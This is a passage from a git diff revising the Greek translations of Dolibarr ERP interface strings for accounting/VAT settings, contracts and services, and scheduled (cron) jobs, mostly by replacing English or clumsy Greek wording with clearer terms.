      Μέθοδος 1 στρογγυλοποίηση του ΦΠΑ σε κάθε γραμμή και, στη συνέχεια, η άθροισή τους.
      Μέθοδος 2 άθροιση του ΦΠΑ σε κάθε γραμμή και, στη συνέχεια, στρογγυλοποίηση.
      Το τελικό αποτέλεσμα μπορεί να διαφέρει κατά λίγα λεπτά. Προεπιλεγμένη λειτουργία είναι η %s. CalculationRuleDescSupplier=Σύμφωνα με τον προμηθευτή, επιλέξτε κατάλληλη μέθοδο για να εφαρμόσετε τον ίδιο κανόνα υπολογισμού και για να λάβετε το ίδιο αποτέλεσμα που αναμένεται από τον προμηθευτή σας. -TurnoverPerProductInCommitmentAccountingNotRelevant=Η αναφορά κύκλου εργασιών που συλλέγεται ανά προϊόν δεν είναι διαθέσιμη. Αυτή η αναφορά είναι διαθέσιμη μόνο για το τιμολόγιο κύκλου εργασιών. +TurnoverPerProductInCommitmentAccountingNotRelevant=Η αναφορά κύκλου εργασιών που εισπράχθηκε ανά προϊόν δεν είναι διαθέσιμη. Αυτή η αναφορά είναι διαθέσιμη μόνο για τον κύκλο εργασιών τιμολογημένων στοιχείων TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Η αναφορά του κύκλου εργασιών που εισπράχθηκε ανά συντελεστή φόρου πώλησης δεν είναι διαθέσιμη. Αυτή η αναφορά είναι διαθέσιμη μόνο για τιμολογημένο κύκλο εργασιών. CalculationMode=Τρόπος υπολογισμού AccountancyJournal=Ημερολόγιο λογιστικού κώδικα -ACCOUNTING_VAT_SOLD_ACCOUNT=Λογαριασμός λογιστικής από προεπιλογή για Φ.Π.Α. στις πωλήσεις (χρησιμοποιείται αν δεν ορίζεται στη ρύθμιση λεξικού ΦΠΑ) -ACCOUNTING_VAT_BUY_ACCOUNT=Λογαριασμός λογιστικής από προεπιλογή για Φ.Π.Α. στις αγορές (χρησιμοποιείται αν δεν έχει οριστεί στη ρύθμιση λεξικού ΦΠΑ) -ACCOUNTING_VAT_PAY_ACCOUNT=Accounting account by default for paying VAT -ACCOUNTING_ACCOUNT_CUSTOMER=Λογιστικός λογαριασμός που χρησιμοποιείται για τρίτους πελάτες -ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Ο αποκλειστικός λογιστικός λογαριασμός που ορίζεται σε κάρτα τρίτου μέρους θα χρησιμοποιηθεί μόνο για τη λογιστική της Subledger. Αυτός θα χρησιμοποιηθεί για τη Γενική Λογιστική και ως προεπιλεγμένη αξία της λογιστικής Subledger, εάν δεν έχει οριστεί ειδικό λογαριασμός λογιστικής πελάτη σε τρίτους. -ACCOUNTING_ACCOUNT_SUPPLIER=Λογαριασμός λογιστικής που χρησιμοποιείται για τους τρίτους προμηθευτές -ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Ο αποκλειστικός λογιστικός λογαριασμός που ορίζεται σε κάρτα τρίτου μέρους θα χρησιμοποιηθεί μόνο για τη λογιστική της Subledger. Αυτός θα χρησιμοποιηθεί για τη Γενική Λογιστική και ως προεπιλεγμένη αξία της λογιστικής της Subleger εάν δεν έχει καθοριστεί ο λογαριασμός λογιστικής αποκλειστικής προμήθειας σε τρίτους. -ConfirmCloneTax=Επιβεβαιώστε τον κλώνο ενός κοινωνικού / φορολογικού φόρου -ConfirmCloneVAT=Επιβεβαιώστε τον κλώνο μιας δήλωσης ΦΠΑ -ConfirmCloneSalary=Επιβεβαιώστε τον κλώνο ενός μισθού -CloneTaxForNextMonth=Clone it for next month +ACCOUNTING_VAT_SOLD_ACCOUNT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως ο προεπιλεγμένος λογαριασμός για τον ΦΠΑ επί των πωλήσεων (χρησιμοποιείται εάν δεν ορίζεται στη ρύθμιση του λεξικού ΦΠΑ) +ACCOUNTING_VAT_BUY_ACCOUNT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως ο προεπιλεγμένος λογαριασμός για τον ΦΠΑ στις αγορές (χρησιμοποιείται εάν δεν ορίζεται στη ρύθμιση λεξικού ΦΠΑ) +ACCOUNTING_VAT_PAY_ACCOUNT=Λογαριασμός (από το λογιστικό σχέδιο) που θα χρησιμοποιηθεί ως προεπιλεγμένος λογαριασμός για την πληρωμή ΦΠΑ +ACCOUNTING_ACCOUNT_CUSTOMER=Λογαριασμός (από το Λογιστικό Σχέδιο) που χρησιμοποιείται για τρίτους "πελάτες". +ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Ο αποκλειστικός λογιστικός λογαριασμός που ορίζεται στην κάρτα τρίτων θα χρησιμοποιηθεί μόνο για τη λογιστική Βοηθητικού καθολικού. Αυτό θα χρησιμοποιηθεί για το Γενικό Καθολικό και ως προεπιλεγμένη τιμή της λογιστικής Βοηθητικού καθολικού εάν δεν έχει καθοριστεί αποκλειστικός λογιστικός λογαριασμός πελάτη σε τρίτο μέρος. +ACCOUNTING_ACCOUNT_SUPPLIER=Λογαριασμός (από το Λογιστικό Σχέδιο) που χρησιμοποιείται για τους τρίτους "προμηθευτές" +ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Ο αποκλειστικός λογιστικός λογαριασμός που ορίζεται στην στην καρτέλα τρίτου μέρους θα χρησιμοποιηθεί μόνο για τη λογιστική του Βοηθητικού καθολικού. Αυτό θα χρησιμοποιηθεί για το Γενικό Καθολικό και ως προεπιλεγμένη τιμή της λογιστικής του Βοηθητικού καθολικού εάν δεν έχει καθοριστεί αποκλειστικός λογιστικός λογαριασμός προμηθευτή στο τρίτο μέρος. +ConfirmCloneTax=Επιβεβαιώστε την αντιγραφή ενός κοινωνικού / φορολογικού φόρου +ConfirmCloneVAT=Επιβεβαιώστε την αντιγραφή μιας δήλωσης ΦΠΑ +ConfirmCloneSalary=Επιβεβαιώστε την αντιγραφή ενός μισθού +CloneTaxForNextMonth=Αντιγραφή για επόμενο μήνα SimpleReport=Απλή αναφορά AddExtraReport=Επιπλέον αναφορές (προσθήκη αναφοράς ξένων και εθνικών πελατών) OtherCountriesCustomersReport=Αναφορά για πελάτες εξωτερικού @@ -270,8 +272,8 @@ ListSocialContributionAssociatedProject=Λίστα κοινωνικών εισφ DeleteFromCat=Κατάργηση από τη λογιστική ομάδα AccountingAffectation=Λογιστική κατανομή LastDayTaxIsRelatedTo=Τελευταία ημέρα της περιόδου με την οποία ο φόρος σχετίζεται -VATDue=Φόρος πωλήσεων που αξιώνεται -ClaimedForThisPeriod=Ισχυρίζεται για την περίοδο +VATDue=Φόρος πωλήσεων που αξιώθηκε +ClaimedForThisPeriod=Αξίωση για την περίοδο PaidDuringThisPeriod=Πληρώθηκε για αυτήν την περίοδο PaidDuringThisPeriodDesc=Αυτό είναι το άθροισμα όλων των πληρωμών που συνδέονται με δηλώσεις ΦΠΑ που έχουν ημερομηνία λήξης περιόδου στο επιλεγμένο εύρος ημερομηνιών ByVatRate=Με φορολογικό συντελεστή πώλησης diff --git a/htdocs/langs/el_GR/contracts.lang b/htdocs/langs/el_GR/contracts.lang index 0b3d4a3c755..31cc7d184ca 100644 --- a/htdocs/langs/el_GR/contracts.lang +++ b/htdocs/langs/el_GR/contracts.lang @@ -1,107 +1,107 @@ # Dolibarr language file - Source file is en_US - contracts -ContractsArea=Περιοχή Συμβολαίων -ListOfContracts=Λίστα Συμβολαίων -AllContracts=Όλα τα συμβόλαια -ContractCard=Καρτέλα Συμβολαίου -ContractStatusNotRunning=Σε αργία +ContractsArea=Τομέας συμβάσεων +ListOfContracts=Λίστα συμβάσεων +AllContracts=Όλες οι συμβάσεις +ContractCard=Καρτέλα Σύμβασης +ContractStatusNotRunning=Ανενεργή ContractStatusDraft=Προσχέδιο ContractStatusValidated=Επικυρώθηκε -ContractStatusClosed=Έκλεισε -ServiceStatusInitial=Σε αργία -ServiceStatusRunning=Σε εξέλιξη -ServiceStatusNotLate=Σε εξέλιξη, δεν έχει λήξει +ContractStatusClosed=Τερματισμένη +ServiceStatusInitial=Ανενεργή +ServiceStatusRunning=Ενεργή +ServiceStatusNotLate=Ενεργή, δεν έχει λήξει ServiceStatusNotLateShort=Δεν έχει λήξει -ServiceStatusLate=Σε εξέλιξη, Έληξε +ServiceStatusLate=Ενεργή, Έληξε ServiceStatusLateShort=Έληξε -ServiceStatusClosed=Έκλεισε -ShowContractOfService=Show contract of service -Contracts=Συμβόλαια +ServiceStatusClosed=Τερματισμένη +ShowContractOfService=Εμφάνιση σύμβασης υπηρεσιών +Contracts=Συμβάσεις ContractsSubscriptions=Συμβάσεις/Συνδρομές -ContractsAndLine=Συμβόλαια και η γραμμή των συμβολαίων -Contract=Συμβόλαιο -ContractLine=Γραμμή επαφής -ContractLines=Γραμμές συμβολαίων -Closing=Κλείσιμο -NoContracts=Κανένα Συμβόλαιο +ContractsAndLine=Συμβάσεις και γραμμή των συμβάσεων +Contract=Σύμβαση +ContractLine=Γραμμή σύμβασης +ContractLines=Γραμμές συμβάσεων +Closing=Τερματισμός +NoContracts=Καμιά Σύμβαση MenuServices=Υπηρεσίες MenuInactiveServices=Ανενεργές Υπηρεσίες MenuRunningServices=Ενεργές Υπηρεσίες MenuExpiredServices=Ληγμένες Υπηρεσίες MenuClosedServices=Τερματισμένες Υπηρεσίες -NewContract=Νέο Συμβόλαιο -NewContractSubscription=Νέο συμβόλαιο ή συνδρομή +NewContract=Νέα σύμβαση +NewContractSubscription=Νέα σύμβαση ή συνδρομή AddContract=Δημιουργία σύμβασης -DeleteAContract=Διαγραφή Συμβολαίου -ActivateAllOnContract=Ενεργοποιήστε όλες τις υπηρεσίες -CloseAContract=Τερματισμός Συμβολαίου -ConfirmDeleteAContract=Είστε σίγουροι πως θέλετε να διαγράψετε αυτό το συμβόλαιο και όλες τις υπηρεσίες του; -ConfirmValidateContract=Are you sure you want to validate this contract under name %s? -ConfirmActivateAllOnContract=Αυτό θα ανοίξει όλες τις υπηρεσίες (δεν είναι ακόμα ενεργές). Είστε βέβαιοι ότι θέλετε να ανοίξετε όλες τις υπηρεσίες; -ConfirmCloseContract=Αυτό θα κλείσει όλες τις υπηρεσίες (που έχουν λήξει ή όχι). Είστε σίγουροι ότι θέλετε να κλείσετε αυτό το συμβόλαιο; -ConfirmCloseService=Are you sure you want to close this service with date %s? -ValidateAContract=Επικύρωση συμβολαίου +DeleteAContract=Διαγραφή Σύμβασης +ActivateAllOnContract=Ενεργοποίηση όλων των υπηρεσιών +CloseAContract=Τερματισμός Σύμβασης +ConfirmDeleteAContract=Είστε σίγουροι πως θέλετε να διαγράψετε αυτή τη σύμβαση και όλες τις υπηρεσίες αυτής; +ConfirmValidateContract=Είστε σίγουροι ότι θέλετε να επικυρώσετε αυτή τη σύμβαση υπό το όνομα %s? +ConfirmActivateAllOnContract=Αυτό θα εκκινήσει όλες τις υπηρεσίες (που δεν είναι ακόμα ενεργές). Είστε σίγουροι ότι θέλετε να εκκινήσετε όλες τις υπηρεσίες; +ConfirmCloseContract=Αυτό θα τερματίσει όλες τις υπηρεσίες (ενεργές και μη). Είστε σίγουροι ότι θέλετε να διακόψετε αυτή τη σύμβαση; +ConfirmCloseService=Είστε σίγουροι ότι θέλετε να τερματίσετε αυτήν την υπηρεσία με ημερομηνία %s ; +ValidateAContract=Επικύρωση σύμβασης ActivateService=Ενεργοποίηση Υπηρεσίας -ConfirmActivateService=Are you sure you want to activate this service with date %s? -RefContract=Αναφορά συμβολαίου -DateContract=Ημερομηνία συμβολαίου +ConfirmActivateService=Είστε σίγουροι ότι θέλετε να ενεργοποιήσετε αυτήν την υπηρεσία με ημερομηνία %s? +RefContract=Αναφορά σύμβασης +DateContract=Ημερομηνία σύμβασης DateServiceActivate=Ημερομηνία ενεργοποίησης υπηρεσίας ListOfServices=Λίστα υπηρεσιών ListOfInactiveServices=Λίστα μη ενεργών υπηρεσιών -ListOfExpiredServices=Λίστα εκπρόθεσμων ενεργών υπηρεσιών -ListOfClosedServices=Λίστα κλεισμένων υπηρεσιών -ListOfRunningServices=Λίστα τρέχουσων υπηρεσιών -NotActivatedServices=Inactive services (among validated contracts) +ListOfExpiredServices=Λίστα ενεργών υπηρεσιών που έχουν λήξει +ListOfClosedServices=Λίστα τερματισμένων υπηρεσιών +ListOfRunningServices=Λίστα ενεργών υπηρεσιών +NotActivatedServices=Ανενεργές υπηρεσίες (μεταξύ των επικυρωμένων συμβάσεων) BoardNotActivatedServices=Υπηρεσίες προς ενεργοποίηση σε επικυρωμένα συμβόλαια -BoardNotActivatedServicesShort=Υπηρεσίες για ενεργοποίηση -LastContracts=Τελευταία %s Συμβόλαια +BoardNotActivatedServicesShort=Υπηρεσίες προς ενεργοποίηση +LastContracts=Τελευταίες %s συμβάσεις LastModifiedServices=Τελευταίες %s τροποποιημένες υπηρεσίες -ContractStartDate=Ημερ. έναρξης -ContractEndDate=Ημερ. τέλους -DateStartPlanned=Planned start date -DateStartPlannedShort=Planned start date -DateEndPlanned=Planned end date -DateEndPlannedShort=Planned end date -DateStartReal=Real start date -DateStartRealShort=Real start date -DateEndReal=Real end date -DateEndRealShort=Real end date -CloseService=Close service -BoardRunningServices=Υπηρεσίες που εκτελούνται -BoardRunningServicesShort=Υπηρεσίες που εκτελούνται -BoardExpiredServices=Οι υπηρεσίες έληξαν -BoardExpiredServicesShort=Οι υπηρεσίες έληξαν +ContractStartDate=Ημερομηνία έναρξης +ContractEndDate=Ημερομηνία λήξης +DateStartPlanned=Προγραμματισμένη ημερομηνία έναρξης +DateStartPlannedShort=Προγραμματισμένη ημερομηνία έναρξης +DateEndPlanned=Προγραμματισμένη ημερομηνία λήξης +DateEndPlannedShort=Προγραμματισμένη ημερομηνία λήξης +DateStartReal=Πραγματική ημερομηνία έναρξης +DateStartRealShort=Πραγματική ημερομηνία έναρξης +DateEndReal=Πραγματική ημερομηνία λήξης +DateEndRealShort=Πραγματική ημερομηνία λήξης +CloseService=Τερματισμός υπηρεσίας +BoardRunningServices=Ενεργές υπηρεσίες +BoardRunningServicesShort=Ενεργές υπηρεσίες +BoardExpiredServices=Ληγμένες υπηρεσίες +BoardExpiredServicesShort=Ληγμένες υπηρεσίες ServiceStatus=Κατάσταση υπηρεσίας -DraftContracts=Προσχέδια συμβολαίων -CloseRefusedBecauseOneServiceActive=Η σύμβαση δεν μπορεί να κλείσει καθώς υπάρχει τουλάχιστον μία ανοικτή υπηρεσία σε αυτήν -ActivateAllContracts=Ενεργοποιήστε όλες τις γραμμές συμβάσεων -CloseAllContracts=Close all contract lines -DeleteContractLine=Delete a contract line -ConfirmDeleteContractLine=Are you sure you want to delete this contract line? -MoveToAnotherContract=Move service into another contract. -ConfirmMoveToAnotherContract=I choosed new target contract and confirm I want to move this service into this contract. -ConfirmMoveToAnotherContractQuestion=Choose in which existing contract (of same third party), you want to move this service to? -PaymentRenewContractId=Renew contract line (number %s) -ExpiredSince=Expiration date -NoExpiredServices=Δεν έληξε ενεργές υπηρεσίες -ListOfServicesToExpireWithDuration=Λίστα των Υπηρεσιών λήγει σε %s ημέρες -ListOfServicesToExpireWithDurationNeg=Κατάλογος των υπηρεσιών έληξε από περισσότερες, από %s ημέρες -ListOfServicesToExpire=Κατάλογος Υπηρεσιών προς λήξει -NoteListOfYourExpiredServices=Αυτή η λίστα περιέχει μόνο τις υπηρεσίες των συμβάσεων για λογαριασμό ΠΕΛ./ΠΡΟΜ. που συνδέονται ως εκπρόσωπος πώληση. -StandardContractsTemplate=Οι πρότυπες συμβάσεις -ContactNameAndSignature=Για %s, το όνομα και η υπογραφή: +DraftContracts=Προσχέδια συμβάσεων +CloseRefusedBecauseOneServiceActive=Η σύμβαση δεν μπορεί να κλείσει καθώς υπάρχει τουλάχιστον μία ενεργή υπηρεσία σε αυτήν +ActivateAllContracts=Ενεργοποίηση όλων των γραμμών συμβάσεων +CloseAllContracts=Διακοπή όλων των γραμμών συμβάσεων +DeleteContractLine=Διαγραφή γραμμής σύμβασης +ConfirmDeleteContractLine=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτήν τη γραμμή σύμβασης; +MoveToAnotherContract=Μεταφορά υπηρεσίας σε άλλη σύμβαση +ConfirmMoveToAnotherContract=Επέλεξα νέα σύμβαση και επιβεβαιώνω ότι θέλω να μεταφέρω αυτήν την υπηρεσία σε αυτήν. +ConfirmMoveToAnotherContractQuestion=Επιλέξτε σε ποια υπάρχουσα σύμβαση (του ίδιου πελάτη), θέλετε να μεταφέρετε αυτήν την υπηρεσία; +PaymentRenewContractId=Ανανέωση σύμβασης %s (υπηρεσία %s) +ExpiredSince=Ημερομηνία λήξης +NoExpiredServices=Δεν υπάρχουν ενεργές υπηρεσίες που έχουν λήξει +ListOfServicesToExpireWithDuration=Λίστα Υπηρεσιών που λήγουν σε %s ημέρες +ListOfServicesToExpireWithDurationNeg=Υπηρεσίες που έχουν λήξει πάνω από, %s ημέρες +ListOfServicesToExpire=Λίστα υπηρεσιών προς λήξη +NoteListOfYourExpiredServices=Αυτή η λίστα περιέχει μόνο τις υπηρεσίες των συμβάσεων για τρίτα μέρη στα οποία είστε εκπρόσωποι πωλήσεων. +StandardContractsTemplate=Πρότυπο τυπικών συμβάσεων +ContactNameAndSignature=Για %s, όνομα και υπογραφή: OnlyLinesWithTypeServiceAreUsed=Μόνο εγγραφές τύπου "Υπηρεσία" θα αντιγραφούν. -ConfirmCloneContract=Είστε βέβαιοι ότι θέλετε να κλωνοποιήσετε τη σύμβαση %s ; -LowerDateEndPlannedShort=Χαμηλότερη προγραμματισμένη ημερομηνία λήξης των ενεργών υπηρεσιών +ConfirmCloneContract=Είστε σίγουροι ότι θέλετε να αντιγράψετε τη σύμβαση %s ; +LowerDateEndPlannedShort=Κατώτερη προγραμματισμένη ημερομηνία λήξης των ενεργών υπηρεσιών SendContractRef=Στοιχεία σύμβασης __REF__ OtherContracts=Άλλες συμβάσεις ##### Types de contacts ##### -TypeContact_contrat_internal_SALESREPSIGN=Σύμβαση πώλησης υπογραφή εκπροσώπου -TypeContact_contrat_internal_SALESREPFOLL=Πωλήσεις εκπρόσωπος παρακολούθηση των συμβάσεων -TypeContact_contrat_external_BILLING=Χρέωση επαφή με τον πελάτη -TypeContact_contrat_external_CUSTOMER=Παρακολούθηση της επαφής με τον πελάτη -TypeContact_contrat_external_SALESREPSIGN=Υπογραφή σύμβασης επαφή με τον πελάτη -HideClosedServiceByDefault=Απόκρυψη κλειστών υπηρεσιών από προεπιλογή -ShowClosedServices=Εμφάνιση κλειστών υπηρεσιών -HideClosedServices=Απόκρυψη κλειστών υπηρεσιών -UserStartingService=Εκκίνηση υπηρεσίας χρήστη -UserClosingService=Κλείσιμο υπηρεσίας χρήστη +TypeContact_contrat_internal_SALESREPSIGN=Εκπρόσωπος πωλήσεων αρμόδιος για την υπογραφή της σύμβασης +TypeContact_contrat_internal_SALESREPFOLL=Εκπρόσωπος πωλήσεων υπεύθυνος για τη σύμβαση +TypeContact_contrat_external_BILLING=Επαφή λογιστηρίου πελάτη +TypeContact_contrat_external_CUSTOMER=Επαφή περαιτέρω επικοινωνίας με τον πελάτη +TypeContact_contrat_external_SALESREPSIGN=Επαφή για την υπογραφή σύμβασης με τον πελάτη +HideClosedServiceByDefault=Απόκρυψη τερματισμένων υπηρεσιών από προεπιλογή +ShowClosedServices=Εμφάνιση τερματισμένων υπηρεσιών +HideClosedServices=Απόκρυψη τερματισμένων υπηρεσιών +UserStartingService=Χρήστης που εκκίνησε την υπηρεσία +UserClosingService=Χρήστης που τερμάτισε την υπηρεσία diff --git a/htdocs/langs/el_GR/cron.lang b/htdocs/langs/el_GR/cron.lang index 9959bf37d38..9d006be9a8f 100644 --- a/htdocs/langs/el_GR/cron.lang +++ b/htdocs/langs/el_GR/cron.lang @@ -1,75 +1,75 @@ # Dolibarr language file - Source file is en_US - cron # About page # Right -Permission23101 = Λεπτομέρειες προγραμματισμένης εργασίας +Permission23101 = Ανάγνωση Προγραμματισμένης εργασίας Permission23102 = Δημιουργία/ενημέρωση προγραμματισμένης εργασίας Permission23103 = Διαγραφή προγραμματισμένης εργασίας Permission23104 = Εκτέλεση προγραμματισμένης εργασίας # Admin -CronSetup=Προγραμματισμένη ρύθμιση διαχείρισης των εργασιών +CronSetup=Ρύθμιση διαχείρισης προγραμματισμένων εργασιών URLToLaunchCronJobs=URL για να ελέγξετε και να ξεκινήσετε τις κατάλληλες εργασίες cron από ένα πρόγραμμα περιήγησης OrToLaunchASpecificJob=Ή για να ελέγξετε και να ξεκινήσετε μια συγκεκριμένη εργασία από ένα πρόγραμμα περιήγησης KeyForCronAccess=Κλειδί ασφαλείας για το URL για να ξεκινήσει η εργασία cron FileToLaunchCronJobs=Γραμμή εντολών για έλεγχο και εκκίνηση ειδικών εργασιών cron -CronExplainHowToRunUnix=Στο Unix περιβάλλον θα πρέπει να χρησιμοποιήσετε την ακόλουθη καταχώρηση crontab για να τρέχει η γραμμή εντολών καθένα 5 λεπτά -CronExplainHowToRunWin=Στο περιβάλλον Microsoft (tm) των Windows μπορείτε να χρησιμοποιήσετε τα εργαλεία προγραμματισμένης εργασίας για να εκτελέσετε τη γραμμή εντολών κάθε 5 λεπτά -CronMethodDoesNotExists=Class %s does not contains any method %s +CronExplainHowToRunUnix=Στο περιβάλλον Unix θα πρέπει να χρησιμοποιήσετε την ακόλουθη καταχώρηση crontab για να εκτελείτε τη γραμμή εντολών κάθε 5 λεπτά +CronExplainHowToRunWin=Στο περιβάλλον των Microsoft (tm) Windows μπορείτε να χρησιμοποιήσετε τα εργαλεία προγραμματισμένης εργασίας για να εκτελέσετε τη γραμμή εντολών κάθε 5 λεπτά +CronMethodDoesNotExists=Η κλάση %s δεν περιέχει καμία μέθοδο %s CronMethodNotAllowed=Η μέθοδος %s της κλάσης %s βρίσκεται στη μαύρη λίστα των απαγορευμένων μεθόδων -CronJobDefDesc=Τα προφίλ εργασίας Cron ορίζονται στο αρχείο περιγραφικής ενότητας. Όταν η ενότητα είναι ενεργοποιημένη, φορτώνεται και είναι διαθέσιμη, ώστε να μπορείτε να διαχειριστείτε τις εργασίες από το μενού εργαλείων admin %s. -CronJobProfiles=Λίστα προκαθορισμένων προφίλ εργασίας cron +CronJobDefDesc=Τα προφίλ εργασίας Cron ορίζονται στο αρχείο παραμετροποιήσεων της ενότητας. Όταν η ενότητα είναι ενεργοποιημένη, φορτώνονται και είναι διαθέσιμες, ώστε να μπορείτε να διαχειριστείτε τις εργασίες από το μενού Εργαλεία διαχειριστή %s. +CronJobProfiles=Λίστα προκαθορισμένων προφίλ εργασιών cron # Menu -EnabledAndDisabled=Ενεργοποίηση και απενεργοποίηση +EnabledAndDisabled=Ενεργοποιημένες και απενεργοποιημένες # Page list -CronLastOutput=Latest run output -CronLastResult=Latest result code +CronLastOutput=Output τελευταίας εκτέλεσης Cron +CronLastResult=Αποτέλεσμα τελευταίας εκτέλεσης Cron CronCommand=Εντολή CronList=Προγραμματισμένες εργασίες CronDelete=Διαγραφή προγραμματισμένων εργασιών -CronConfirmDelete=Are you sure you want to delete these scheduled jobs? -CronExecute=Launch scheduled job -CronConfirmExecute=Are you sure you want to execute these scheduled jobs now? -CronInfo=Scheduled job module allows to schedule jobs to execute them automatically. Jobs can also be started manually. +CronConfirmDelete=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτές τις προγραμματισμένες εργασίες; +CronExecute=Εκκίνηση τώρα +CronConfirmExecute=Είστε σίγουροι ότι θέλετε να εκτελέσετε αυτές τις προγραμματισμένες εργασίες τώρα; +CronInfo=Η ενότητα προγραμματισμένης εργασίας επιτρέπει τον προγραμματισμό εργασιών ώστε να εκτελούνται αυτόματα. Οι εργασίες μπορούν επίσης να ξεκινήσουν χειροκίνητα. CronTask=Εργασία CronNone=Καμία CronDtStart=Όχι πριν CronDtEnd=Όχι μετά CronDtNextLaunch=Επόμενη εκτέλεση -CronDtLastLaunch=Start date of latest execution -CronDtLastResult=End date of latest execution +CronDtLastLaunch=Ημερομηνία έναρξης της τελευταίας εκτέλεσης +CronDtLastResult=Ημερομηνία λήξης της τελευταίας εκτέλεσης CronFrequency=Συχνότητα -CronClass=Κατηγορία +CronClass=Κλάση CronMethod=Μέθοδος -CronModule=Module +CronModule=Ενότητα CronNoJobs=Δεν έχουν καταχωρηθεί εργασίες CronPriority=Προτεραιότητα CronLabel=Ετικέτα -CronNbRun=Αριθμός εκτοξεύσεων -CronMaxRun=Μέγιστος αριθμός εκτοξεύσεων +CronNbRun=Αριθμός εκκινήσεων Cron +CronMaxRun=Μέγιστος αριθμός εκκινήσεων CronEach=Κάθε -JobFinished=Ξεκίνησε και τελείωσε +JobFinished=Η εργασία ξεκίνησε και ολοκληρώθηκε Scheduled=Προγραμματισμένες #Page card CronAdd= Προσθήκη εργασίας -CronEvery=Execute job each -CronObject=Instance/Object to create +CronEvery=Εκτέλεση εργασίας κάθε +CronObject=Αντικείμενο προς δημιουργία CronArgs=Παράμετροι CronSaveSucess=Επιτυχής αποθήκευση CronNote=Σχόλιο CronFieldMandatory=Τα πεδία %s είναι υποχρεωτικά CronErrEndDateStartDt=Η ημερομηνία λήξης δεν μπορεί να είναι πριν από την ημερομηνία έναρξης -StatusAtInstall=Κατάσταση κατά την εγκατάσταση της μονάδας -CronStatusActiveBtn=Προγραμματισμός +StatusAtInstall=Κατάσταση κατά την εγκατάσταση της ενότητας +CronStatusActiveBtn=Ενεργοποίηση προγραμματισμού CronStatusInactiveBtn=Απενεργοποίηση CronTaskInactive=Αυτή η εργασία είναι απενεργοποιημένη (δεν έχει προγραμματιστεί) CronId=Id -CronClassFile=Filename with class -CronModuleHelp=Όνομα του καταλόγου μονάδων Dolibarr (επίσης λειτουργούν με εξωτερική μονάδα Dolibarr).
      Για παράδειγμα, για να καλέσουμε τη μέθοδο fetch του προϊόντος Dolibarr Product / htdocs / product / class / product.class.php, η τιμή για την ενότητα είναι
      προϊόν -CronClassFileHelp=Η σχετική διαδρομή και το όνομα του αρχείου για φόρτωση (η διαδρομή είναι σχετική με τον κεντρικό κατάλογο διακομιστή ιστού).
      Για παράδειγμα, για να καλέσετε τη μέθοδο λήψης του προϊόντος Dolibarr Product htdocs / product / class / product.class.php , η τιμή για το όνομα αρχείου κλάσης είναι
      προϊόν / κλάση / product.class.php -CronObjectHelp=Το όνομα αντικειμένου που θα φορτωθεί.
      Για παράδειγμα, για να καλέσετε τη μέθοδο λήψης του προϊόντος Dolibarr Product /htdocs/product/class/product.class.php, η τιμή για το όνομα του αρχείου κλάσης είναι
      Προϊόν -CronMethodHelp=Η μέθοδος αντικειμένου για την εκκίνηση.
      Για παράδειγμα, για να καλέσετε τη μέθοδο λήψης του προϊόντος Dolibarr Product /htdocs/product/class/product.class.php, η τιμή για τη μέθοδο είναι
      φέρω -CronArgsHelp=Τα επιχειρήματα της μεθόδου.
      Για παράδειγμα, για να καλέσετε τη μέθοδο λήψης του προϊόντος Dolibarr Product /htdocs/product/class/product.class.php, η τιμή για τους paramters μπορεί να είναι
      0, ProductRef +CronClassFile=Όνομα αρχείου με κλάση +CronModuleHelp=Όνομα του καταλόγου ενοτήτων Dolibarr (επίσης λειτουργούν με εξωτερική ενότητα Dolibarr).
      Για παράδειγμα, για να καλέσουμε τη μέθοδο fetch του αντικειμένου προϊόντος Dolibarr / htdocs / product / class / product.class.php, η τιμή για την ενότητα είναι
      προϊόν +CronClassFileHelp=Η σχετική διαδρομή και το όνομα του αρχείου για φόρτωση (η διαδρομή είναι σχετική με τον κεντρικό κατάλογο διακομιστή ιστού).
      Για παράδειγμα, για να καλέσετε τη μέθοδο fetch του αντικειμένου προϊόντος Dolibarr htdocs/product/class/product.class.php , η τιμή για το όνομα αρχείου κλάσης είναι
      product/class/product.class.php +CronObjectHelp=Το όνομα αντικειμένου που θα φορτωθεί.
      Για παράδειγμα, για να καλέσετε τη μέθοδο fetch του αντικειμένου προϊόντος Dolibarr /htdocs/product/class/product.class.php, η τιμή για το όνομα του αρχείου κλάσης είναι
      Product +CronMethodHelp=Η μέθοδος αντικειμένου για την εκκίνηση.
      Για παράδειγμα, για να καλέσετε τη μέθοδο fetch του αντικειμένου προϊόντος Dolibarr /htdocs/product/class/product.class.php, η τιμή για τη μέθοδο είναι
      fetch +CronArgsHelp=Τα επιχειρήματα της μεθόδου.
      Για παράδειγμα, για να καλέσετε τη μέθοδο fetch του αντικειμένου προϊόντος Dolibarr Product /htdocs/product/class/product.class.php, η τιμή για τις παραμέτρους μπορεί να είναι
      0, ProductRef CronCommandHelp=Γραμμή εντολών του συστήματος προς εκτέλεση. -CronCreateJob=Create new Scheduled Job +CronCreateJob=Δημιουργία νέας προγραμματισμένης εργασίας CronFrom=Από # Info # Common @@ -78,16 +78,23 @@ CronType_method=Μέθοδος κλήσης μιας κλάσης PHP CronType_command=Εντολή Shell CronCannotLoadClass=Δεν είναι δυνατή η φόρτωση του αρχείου κλάσης %s (για χρήση της κλάσης %s) CronCannotLoadObject=Το αρχείο κλάσης %s φορτώθηκε, αλλά το αντικείμενο %s δεν βρέθηκε σε αυτό -UseMenuModuleToolsToAddCronJobs=Μεταβείτε στο μενού " Αρχική σελίδα - Εργαλεία διαχειριστή - Προγραμματισμένες εργασίες " για να δείτε και να επεξεργαστείτε προγραμματισμένες εργασίες. -JobDisabled=Job disabled -MakeLocalDatabaseDumpShort=Αντίγραφο ασφαλείας τοπικής βάσης δεδομένων -MakeLocalDatabaseDump=Δημιουργήστε μια τοπική χωματερή βάση δεδομένων. Οι παράμετροι είναι: συμπίεση ('gz' ή 'bz' ή 'none'), backup type ('mysql', 'pgsql', 'auto'), -MakeSendLocalDatabaseDumpShort=Αποστολή αντιγράφου ασφαλείας τοπικής βάσης δεδομένων -MakeSendLocalDatabaseDump=Αποστολή αντιγράφου ασφαλείας τοπικής βάσης δεδομένων μέσω email. Οι 